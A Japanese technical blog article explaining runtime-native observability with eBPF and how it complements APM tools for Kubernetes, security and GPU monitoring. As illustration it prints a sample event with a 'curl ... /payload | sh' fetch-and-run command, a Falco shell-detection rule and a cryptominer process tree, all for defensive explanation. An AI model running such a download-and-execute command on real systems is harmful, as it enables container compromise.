7
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

@keitah(檜垣 慶太)

APMだけでは守れない時代へ ― Runtime-native Observabilityとは何か、なぜ今なのか

7
Posted at

APMでは見えない世界：Runtime-native Observabilityという次の標準

※前置き
本記事は特定のツールの優劣を論じるものではありません。
APMとRuntime-native Observabilityは、観測しているレイヤーが異なります。
その結果として「見えるもの」と「見えないもの」が変わる、という構造的な違いを整理することを目的としています。

はじめに：APMが変えた世界

2010年代、クラウドへの移行とともに、Observabilityは大きな転換期を迎えました。

モノリスが解体され、サービスは細分化された。
デプロイは週次から日次、日次から分次へと加速した。
「どこが遅いのか」を人間が目視で追うことは、もはや不可能になった。

その答えとして登場したのがAPM（Application Performance Monitoring）です。

  • 分散トレーシングによって、リクエストが複数のサービスをまたぐ様子が一本の線として見えるようになった
  • SLO（Service Level Objective）文化が根付き、「99.9%の可用性」という数字がエンジニアとビジネスの共通言語になった
  • Datadog、New Relic、Dynatraceといったツールが、オンコール対応の質を根本から変えた

APMは間違いなく、クラウド時代の第1フェーズを定義したテクノロジーです。

しかし今、私たちは新たなフェーズに立っています。
そしてそのフェーズでは、APMだけでは「見えないもの」が増えています。

なぜ今、Runtime-native Observabilityなのか

この変化は偶然ではありません。
3つの構造的な変化が重なっています。

1. Kubernetesの前提化

Podは数分で消え、数秒で生まれる。ノードは動的にスケールし、ワークロードは移動する。
従来のインフラ監視は「静的な環境」を前提としていましたが、Kubernetesではその前提が崩壊しています。

従来のインフラ Kubernetes
IPは固定 IPは動的に割り当て
ホストは管理対象 ノードは使い捨て
状態（State）を監視 変化（Change）を追う
サービスは長期稼働 Podはエフェメラル

「状態を監視する」時代から、「変化を追う」時代に移行しています。

2. セキュリティの高度化

コンテナ環境を標的とした攻撃が増加しています。
クリプトマイニング、サプライチェーン攻撃、コンテナエスケープ。
これらはアプリケーション層のログには痕跡を残さないことが多く、
APMの観測範囲では検知が困難です。

MITRE ATT&CK for Containersが定義するように、
コンテナ環境特有の攻撃ベクトルは、OS・ランタイム層での観測を前提としています。

3. AI / GPU時代の到来

高価なGPUリソースが大量に使われる時代になりました。
「GPUが何%使われているか」だけでなく、「誰が・何のために使っているか」が
コスト管理とセキュリティの両面で重要になっています。

観測すべき対象が変わった。 これがRuntime-native Observabilityが求められる本質的な理由です。

APMが見えていること、見えていないこと

APMが収集するデータは主に3つです。

メトリクス（Metrics）
CPU使用率、レイテンシ、スループット、エラーレート。「何が遅いか」「どこが詰まっているか」を数値で示す。

トレース（Traces）
リクエストがサービスAからB、BからCへと流れる経路と時間。「どのホップで遅延が発生したか」を可視化する。

ログ（Logs）
アプリケーションが出力した構造化・非構造化テキスト。「何が起きたか」の記録。

この3つは非常に強力で、現在も絶対に必要なデータです。

ここに構造的な問いがあります。

APMが観測しているのは「アプリケーションが語ること」です。

アプリケーションが出力したトレース、SDKが計装したメトリクス、loggerが吐いたログ。
すべて「アプリケーション自身が報告したもの」です。

問題は、アプリケーションが報告しない領域が存在することです。

  • Podが突然クラッシュしたとき、その直前に何のプロセスが何をしていたか
  • コンテナ内で予期せず実行されたシェルコマンド
  • アプリケーションが知らないところで発生しているネットワーク接続
  • サイドカーやinitコンテナの実行履歴
  • Podが消えた後の「消えた理由」

APMはアプリケーション層の透明度を高めました。
しかし、インフラ層・OS層・ランタイム層での「実際の挙動」は、APMの主な設計対象ではありません。

最大の盲点：セキュリティとパフォーマンスの境界崩壊

APM時代の世界観では、「パフォーマンス問題」と「セキュリティインシデント」は別の問題でした。

  • SREはAPMを見る
  • セキュリティチームはSIEMを見る

ツールも、チームも、分離されていた。

しかし実際の現場では、この2つは同じ事象の表と裏であることがあります。

シナリオ1：謎のCPUスパイク

あるKubernetesクラスターで、深夜2時にCPU使用率が急上昇しました。

APMのアラート：「Pod Xのレイテンシが増加」
オンコール対応：「CPUが高い、でも原因不明」→ Podを再起動 → アラート解消

翌朝、セキュリティチームが別の経路で発見します。
そのPodは、暗号通貨マイニングのプロセスを動かされていた。

APMは「遅いこと」を教えてくれた。しかし、「なぜ遅かったか」を教えてくれなかった。

シナリオ2：AIモデルのGPU異常

GPUクラスターで、推論サービスのGPU使用率が突然200%近くになりました。

「AIモデルのリクエストが急増した？」「バグでバッチ処理が重なった？」

APMのメトリクスには、GPU使用率の数値は見えます。
しかしそのGPUが「どのプロセスに」「どのコンテキストで」使われたのかは見えない。

正規の推論リクエストなのか、想定外のワークロードが紛れ込んだのか。
この判断に必要な情報は、APMの設計上の観測対象外にあります。

シナリオ3：消えたPodの真相

本番環境のPodが予告なく消えました。

$ kubectl describe pod <pod-name>
...
Reason: OOMKilled

ログを確認しても、アプリケーションが出力した最後のエラーしかない。

  • なぜメモリが急増したのか
  • どのプロセスが消費したのか
  • その直前にどんなネットワーク通信が発生したのか

Podが消えた後、その情報は消えています。

Runtime-native Observabilityとは何か

この問いへの答えとして登場してきたのが、Runtime-native Observabilityという考え方です。

「Runtime-native」とは何を意味するか。

実行時（Runtime）の挙動を、OSカーネルレベルから直接観測する。
アプリケーションが「語ること」を待つのではなく、カーネルが「実際に起きていること」を直接収集する。

これを技術的に実現しているのが、**eBPF（extended Berkeley Packet Filter）**です。

eBPF：Runtimeを観測するための新しい基盤

eBPFは、Linuxカーネルの機能の一つです。

従来、カーネルの挙動を観測するためにはカーネルモジュールを書く必要がありました。
これはリスクが高く、クラッシュの原因になりうる危険な作業でした。

eBPFは、カーネルを変更せずに、カーネル内でコードを安全に実行する仕組みです。

これによって何が可能になるか。

観測対象 取得できる情報
システムコール どのプロセスが、いつ、何のシステムコールを発行したか
ネットワーク どのコンテナが、どのIPに、何のポートで接続したか
ファイルシステム どのプロセスが、どのファイルを読み書きしたか
プロセス生成 どのコンテナ内で、どんなコマンドが実行されたか
メモリ どのプロセスがどのタイミングでメモリを大量消費したか

アプリケーションのコードを一行も変えずに、インフラ・OS・ランタイムレベルのあらゆる挙動を収集できます。
これが、Runtime-native Observabilityの技術的基盤です。

APMとRuntime-native Observabilityの比較

改めて整理します。これは優劣ではなく、設計思想と観測レイヤーの違いです。

観点 APM Runtime-native Observability
観測層 アプリケーション層 OS・カーネル・ランタイム層
データ収集 SDK計装・エージェント注入 eBPF・カーネルフック
コード変更 必要（計装） 不要
観測対象 リクエスト・トレース・ログ システムコール・プロセス・ネットワーク
Pod消滅後 情報が消える ホスト側に履歴が残る
セキュリティ連携 限定的 ネイティブ統合
盲点 OS層・カーネル層 アプリ内部のビジネスロジック

APMはアプリケーションの内側を見る。
Runtime-native Observabilityはアプリケーションの外側を見る。

この2つは補完関係にあります。

主要APMツールの設計と観測範囲

以下は各ツールの設計思想と観測範囲の整理です。
それぞれの設計が対象とする領域において、各ツールは非常に優れた成果を出しています。
ここでは「何が見えるか」ではなく「何が設計対象外か」を構造的に整理します。

Datadog

現在最も広く使われているクラウドネイティブ監視ツールです。

Datadogが強い領域：

  • APM・分散トレーシング
  • メトリクスの集約と可視化
  • ログ管理との統合
  • Kubernetes環境のインフラ監視

観測範囲の構造：

DatadogはKubernetesのPodメトリクスやコンテナログを収集できます。
その収集はKubernetesメトリクスサーバーやコンテナランタイムAPIからの情報取得が基本です。

Datadog Agent
  └─ kubelet API からメトリクス取得
  └─ Docker/containerd API からコンテナ情報取得
  └─ アプリケーションSDK からトレース取得

Kubernetesやアプリケーションが公開している情報をベースとするため、
コンテナ内部の詳細な実行挙動（システムコール、プロセス生成、ネットワーク接続の詳細）までは
観測対象外となるケースがあります。

DatadogはCloud SIEMやCSPM機能を持っており、セキュリティ文脈でも進化を続けていますが、
主な設計対象はアプリケーション・インフラのパフォーマンス監視にあります。

New Relic

New RelicはAPMのパイオニアであり、フルスタック可観測性を標榜しています。

New Relicが強い領域：

  • アプリケーションパフォーマンス監視
  • ブラウザ・モバイルを含むエンドツーエンドのトレース
  • NRQLによる柔軟なクエリ
  • コスト最適化（データ量課金）

観測範囲の構造：

New Relicの観測は計装（Instrumentation）ベースが基本です。
エージェントはアプリケーションプロセスに注入され、アプリが「報告する」データを収集します。

主な設計対象はアプリケーションパフォーマンスであり、
コンテナ内のシステムコールや予期しないプロセスの起動といったランタイム挙動の詳細な観測は、
主目的ではありません。

New Relicはセキュリティ機能（IAST）も持っていますが、
これはアプリケーション層の脆弱性テストに焦点を当てたものです。

Dynatrace

DynatraceはOneAgentという単一エージェントで「フルスタック自動検出」を実現しており、
APMベンダーの中でもランタイム層に近いアプローチを持つツールの一つです。

Dynatraceが強い領域：

  • AIによる自動根本原因分析（Davis AI）
  • OneAgentによる自動計装
  • サービスマップの自動生成

観測範囲の構造：

OneAgentはプロセス・ネットワーク・ホストの情報を収集します。
eBPFを活用した機能も一部導入されています。

ただし設計の中心はアプリケーションパフォーマンスの最適化にあり、
セキュリティ文脈での利用（不審なプロセス実行の検知、コンテナからの異常な外部接続等）は
現時点では主要ユースケースの外にあります。

KubernetesのPodが消えた後の詳細なシステムコール履歴についても、
OneAgentの主な設計対象外です。

Prometheus + Grafana（OSS構成）

多くのKubernetes環境で使われているOSSの定番スタックです。

強い領域：

  • メトリクスの収集と可視化
  • コスト（OSS）
  • エコシステムの広さ（Exporterの豊富さ）

観測範囲の構造：

Prometheus + Grafanaはメトリクスプラットフォームです。

# kube-state-metricsが見ているもの
kube_pod_status_phase
kube_deployment_status_replicas
node_cpu_seconds_total

これらはKubernetesオブジェクトの「状態」であり、コンテナ内の「実行時挙動」ではありません。

トレースにはTempoが、ログにはLokiが必要になりますが、
それらを統合しても、OS・カーネル層のリアルタイム観測は設計の主目的ではありません。

Prometheusエコシステムの拡張：ebpf_exporter

「Prometheusではカーネル層が見えない」という課題に対して、
コミュニティは着実に対応してきました。

Prometheus拡張エコシステム：
  ├─ node-exporter      → ホストレベルのシステムメトリクス
  ├─ cAdvisor           → コンテナリソース使用量
  ├─ kube-state-metrics → Kubernetesオブジェクトの状態
  ├─ DCGM Exporter      → NVIDIA GPU詳細メトリクス
  └─ ebpf_exporter      → eBPFプログラムの結果をメトリクスとして公開

特にebpf_exporterの登場は重要です。
eBPFで収集したカーネルレベルのデータを、Prometheusのメトリクスとして公開できます。

これによって理論上は、Prometheusスタックでもランタイム層の情報を扱えます。

しかし、ここにデータモデルの構造的な差があります。

Prometheusが得意なのは「メトリクス」、つまり数値の時系列データです。

# ebpf_exporterで取れるもの（メトリクス）
syscalls_total{syscall="execve"} 142
network_bytes_total{direction="egress"} 8192000

一方、Runtime-native Observabilityが扱うのは**イベントの文脈（コンテキスト）**です。

# Runtime-native Observabilityが記録するイベント（コンテキスト付き）
timestamp: 2024-01-15T02:34:17Z
event: execve
container: payment-service-7d9f8b-xk2p9
namespace: production
pod_uid: a3f2c1d4-...
process: /bin/bash
parent_process: python3 /app/server.py
user: root
args: ["-c", "curl http://203.0.113.5/payload | sh"]

syscalls_total{syscall="execve"} 142 という数値は、
「何かが142回実行された」ことは示しますが、
「誰が、何を、なぜ実行したか」は示しません。

これは優劣ではなく、メトリクスとイベントというデータモデルの違いです。

OSSとの関係：Falcoの位置づけ

Runtime-native Observabilityを語る上で、Falcoの存在は欠かせません。

FalcoはCNCF（Cloud Native Computing Foundation）のGraduatedプロジェクトであり、
eBPFベースのランタイムセキュリティ検知エンジンです。

Falcoが検知できること：

  • コンテナ内での不審なプロセス実行（例：Webサーバーコンテナ内での/bin/bash起動）
  • 異常なネットワーク通信（例：本来接続すべきでない外部IPへの接続）
  • 権限昇格の試み
  • 機密ファイルへの予期しないアクセス
# Falcoルールの例
- rule: Shell in container
  desc: A shell was spawned in a container
  condition: >
    spawned_process and container and proc.name in (bash, sh, zsh)
  output: >
    Shell spawned in container
    (container=%container.name process=%proc.name parent=%proc.pname)
  priority: WARNING

Runtime-native Observabilityの全体像：

レイヤー 役割 例
検知 ランタイムでの異常を検知 Falco, Tetragon
相関・可視化・対応 イベントの文脈を統合し、調査・対応 Sysdig, 各種CNAPP
ネットワーク観測 eBPFベースのネットワーク可視化 Cilium/Hubble
アプリ内部 アプリケーション層のパフォーマンス APM各種

それぞれ役割が異なり、組み合わせて使うことで初めて全体像が見えるようになります。

OSSであるFalcoやCilium/Tetragonから始めることで、
Runtime-native Observabilityを段階的に導入できるのも大きな利点です。

ランタイムデータとAIの組み合わせ：自律調査の可能性

ランタイムレベルの豊富なコンテキストデータとAIを組み合わせるアプローチは、
近年各ベンダー・プロジェクトで進んでいます。

Sysdigにおいてはこのアプローチが「Sysdig Sage」として実装されています。

従来のAI Assistantとの違いは「Agentic」にあります。

AI Assistant（従来） Agentic AI
動作 質問に答える 自律的に調査を進める
データアクセス ユーザーが提示した情報 システム全体のランタイムデータ
深掘り ユーザーが次の質問をする 自動でコンテキストを展開
結論 回答を提示 根本原因まで特定して提示

具体的には、アラートが発火したとき：

[Agentic AIによる自律調査フローの例]

① アラート検知
   「production/payment-service でCPU異常」

② 自動でランタイムコンテキスト収集
   └─ 同タイミングのプロセス実行履歴を取得
   └─ ネットワーク接続先を確認
   └─ ファイルアクセスパターンを分析

③ 相関分析
   └─ 「通常のpython3プロセスに加え、/bin/bash が起動」
   └─ 「外部IP 203.0.113.5 への接続を確認」
   └─ 「同IPは過去に報告されたC2サーバーとマッチ」

④ 結論の提示
   「CPUスパイクの原因はマイニングマルウェアの可能性が高い。
    影響範囲：payment-service Pod 3台。
    推奨アクション：当該Podの隔離とフォレンジック調査。」

ダッシュボードに「CPUが高い」というグラフが表示される間に、
ランタイムデータを持つAgentic AIは「なぜ高いのか」の調査を進められます。

ここでの本質的な差は、ツールの違いではなく、
**データの豊かさ（メトリクス vs コンテキスト付きイベント）**と
調査の自律性という2つの構造的な違いにあります。

Runtime-native Observabilityツール全体像

ツール 分類 強い領域 Runtime観測 セキュリティ統合
Datadog APM メトリクス・トレース・ログ統合 △ △（ログベース）
New Relic APM フルスタックAPM・コスト最適化 △ △（IAST）
Dynatrace APM 自動検出・AI分析 △ △
Prometheus+Grafana OSS Metrics コスト・エコシステム △ ✗
Falco OSS Runtime ランタイムセキュリティ検知 ◎ ◎
Cilium/Tetragon OSS Runtime ネットワーク+プロセス観測 ◎ ◎
Sysdig Runtime eBPFセキュリティ+可観測性+AI ◎ ◎
Pixie Runtime ノンインスツルメンテーション ○ △

重要な前提： APMツールはそれぞれの設計対象において非常に優れています。

Datadogは今も最も包括的なクラウド監視プラットフォームの一つです。
Prometheusのエコシステムは代替不可能です。

ここでの「△」は劣っていることではなく、設計上の主目的が異なることを意味しています。

GPU監視：次の戦場

AIワークロードの急増により、GPU監視は急速に重要性を増しています。
そしてここでも、メトリクスベースの観測とランタイムベースの観測の差が明確に現れます。

Prometheusによる GPU監視：DCGM Exporter

NVIDIAが提供するDCGM（Data Center GPU Manager）Exporterを使うと、
PrometheusでGPUの詳細メトリクスを収集できます。

# DCGM Exporterで取得できる主なメトリクス
DCGM_FI_DEV_GPU_UTIL          # GPU使用率（%）
DCGM_FI_DEV_MEM_COPY_UTIL     # メモリバンド幅使用率
DCGM_FI_DEV_FB_USED           # GPUメモリ使用量（MB）
DCGM_FI_DEV_POWER_USAGE       # 消費電力（W）
DCGM_FI_DEV_SM_CLOCK          # SMクロック（MHz）
DCGM_FI_DEV_GPU_TEMP          # GPU温度（℃）

これらはコスト管理、スケーリング判断、熱管理に非常に有用なメトリクスです。

しかし、DCGM Exporterの設計対象は「GPUデバイスの状態」です。

DCGM_FI_DEV_GPU_UTIL = 98%

Q: このGPUを使っているのは誰？
A: DCGMの設計対象外

Q: 正規の推論サービスか、別プロセスか？
A: DCGMの設計対象外

Q: 複数のコンテナが同じGPUを共有しているとき、どのコンテナが何%使っているか？
A: MIG（Multi-Instance GPU）構成でなければ困難

「GPUデバイスの状態」と「GPUを使っているプロセスの文脈」は異なる観測対象です。

Runtime-native GPU監視：プロセスまで追う

eBPFベースのRuntime観測とGPU監視を組み合わせると、プロセスレベルの文脈が加わります。

[Runtime-native GPU監視で見える世界]

GPU使用率 98%
  ├─ プロセス: python3 /app/inference.py  → 正規の推論サービス（72%）
  └─ プロセス: ./xmrig --algo kawpow    → 不正マイニングプロセス（26%）
       └─ 親プロセス: /bin/bash（コンテナ侵害の痕跡）
       └─ 外部接続: pool.hashrate.info:3333

単純な「GPU使用率98%」というメトリクスの裏に、セキュリティインシデントが隠れていることがあります。

GPU監視の比較

観点 DCGM + Prometheus Runtime-native
GPU使用率 ◎ ○
消費電力・温度 ◎ △
メモリ使用量 ◎ ○
使用プロセスの特定 設計対象外 ◎
コンテナ単位の帰属 △（MIG構成のみ） ◎
不正プロセスの検知 設計対象外 ◎
コスト最適化 ◎ ○
スケーリング判断 ◎ ○

AI時代のGPU監視における構造的な問い

「GPUが何%使われているか」は、コスト管理には十分です。
しかし「GPUを誰が使っているか」が分からなければ、
高価なGPUリソースが不正に転用されても気づけません。

GPU単価が高騰し、AIワークロードが増える中、
この「誰が使っているか」という問いに答えることが、
Runtime-native Observabilityの重要なユースケースの一つになっています。

具体的に何が見えるようになるのか

1. コンテナ内の不審なプロセス実行を検知

Webサーバーコンテナの中で、突然/bin/bashが起動された。
通常のWebサーバーには、シェルの実行は不要なはずです。

Runtime層の観測があれば、この異常を即座に検知できます。
APMはこのアクションを「遅延」としてしか観測できません（そして遅延すらないこともある）。

2. ネットワーク接続の完全な可視化

コンテナが「本来接続すべきでない外部エンドポイント」に接続した場合、
eBPFによるネットワーク観測であれば、コンテナ単位・プロセス単位での全接続先を記録できます。

3. Podが消えた後も残る証跡

Pod内での全システムコール履歴は、ホスト側のバッファに保存できます。
Podが消えた後でも、「消える直前に何が起きていたか」を遡れます。
これは事後調査（フォレンジック）において決定的な差を生みます。

4. GPU使用の文脈理解

GPUを使用したプロセスの名前・親プロセス・実行コマンドラインを記録できます。
「GPU使用率が高い」という数字に、「それが正規の推論サービスか、想定外のプロセスか」という文脈が加わります。

セキュリティとObservabilityの統合

Runtime-native Observabilityの重要な側面の一つが、セキュリティとの統合です。

従来のセキュリティツール（SIEM・EDR）は、静的なサーバー・エンドポイントを前提としていました。
Kubernetesのような動的環境では、「環境が前提としているものが存在しない」という問題に直面します。

Runtime-native Observabilityは、Kubernetes環境を前提として設計されているため、

  • Podの生存期間を考慮した検知ルール
  • Namespace・Deployment・サービスアカウントとの相関
  • MITRE ATT&CK for Containersフレームワークとの対応
  • リアルタイムのポリシー適用（接続のブロック等）

が可能になります。

これは**CNAPP（Cloud-Native Application Protection Platform）**という概念とも重なります。
「守る」と「見る」が、同じデータソースから統合される世界です。

よくある誤解

「APMで十分では？」

APMとRuntime-native Observabilityは補完関係です。
APMはアプリケーション内部のパフォーマンスを見る。
Runtime-native Observabilityはアプリケーションの外側（OS・カーネル・ランタイム層）を見る。
どちらか一方で全体像は見えません。

「eBPFは難しい？」

eBPFのプログラミング自体は確かに低レイヤーの知識が必要です。
しかし、Falco、Cilium/Tetragon、Sysdigなどのツールがその複雑さを抽象化しています。
ユーザーはeBPFのコードを書く必要はなく、ポリシーやルールの定義で利用できます。

「セキュリティの話でしょ？」

セキュリティが主要ユースケースの一つであることは間違いありません。
しかし、Runtime-native Observabilityは運用・障害対応にも直結します。

  • 「Podが消えた理由の事後調査」
  • 「CPUスパイクの根本原因特定」
  • 「GPUリソースの帰属分析」

これらはすべてSRE・プラットフォームエンジニアリングの領域です。

「既存のAPMを捨てる必要がある？」

まったくありません。
Runtime-native Observabilityは既存のAPMに追加する層です。
APMのトレースIDとランタイムイベントを相関させることで、
「このリクエストが遅かったとき、OS層で何が起きていたか」を一貫して追えるようになります。

実装への道：何から始めるか

Runtime-native Observabilityへの移行は、APMの置き換えではありません。

フェーズ1：現状把握
  └─ APMで「見えていないもの」を明示的にリスト化
  └─ セキュリティインシデントの事後調査で「証跡が足りなかった」経験を収集

フェーズ2：OSSから始める
  └─ Falcoの導入（DaemonSetとして展開、アプリケーション変更不要）
  └─ 観測モードから開始し、正常なベースラインを把握

フェーズ3：相関の実装
  └─ APMのトレースIDとRuntimeイベントの相関付け
  └─ 「このトレースの時、OS層で何が起きていたか」を一画面で確認

フェーズ4：セキュリティポリシーの統合
  └─ 「正常な振る舞い」の定義
  └─ 逸脱時のアラート・ポリシー適用の自動化

Observabilityの第2フェーズ

APMはObservabilityの第1フェーズを定義しました。

第1フェーズ（APM） 第2フェーズ（Runtime-native）
中心的な問い なぜ遅いのか 何が本当に起きたのか
観測層 アプリケーション OS・カーネル・ランタイム
対象環境 静的インフラ 動的・エフェメラル環境
セキュリティ 別チーム・別ツール 統合
データ収集 計装（Instrumentation） カーネルフック（eBPF）
主な活用 パフォーマンス最適化 障害調査・セキュリティ・コスト最適化

第2フェーズは、第1フェーズを否定しません。
第1フェーズを前提とした上で、その外側を覆う層を追加する。

おわりに

Kubernetesが前提になり、AIワークロードが増え、セキュリティとパフォーマンスの境界が曖昧になった世界で、アプリケーションが「語ること」だけを聞いていては、全体像は見えません。

Runtime-native Observabilityとは、
インフラ・OS・ランタイムが「実際に行っていること」を、直接観測する考え方です。

APMは、私たちにアプリケーションの内側を見せてくれました。
次のフェーズは、アプリケーションの外側を見ることです。

「遅い」を超えて、「何が本当に起きたか」を理解する。

それが、次のObservabilityです。

参考リンク

eBPF / Runtime Observability

Kubernetes Runtime / Security

Observability / APM

GPU Monitoring

Runtime-native Observability

AI / セキュリティ動向

7
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
Sign upLogin
7
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?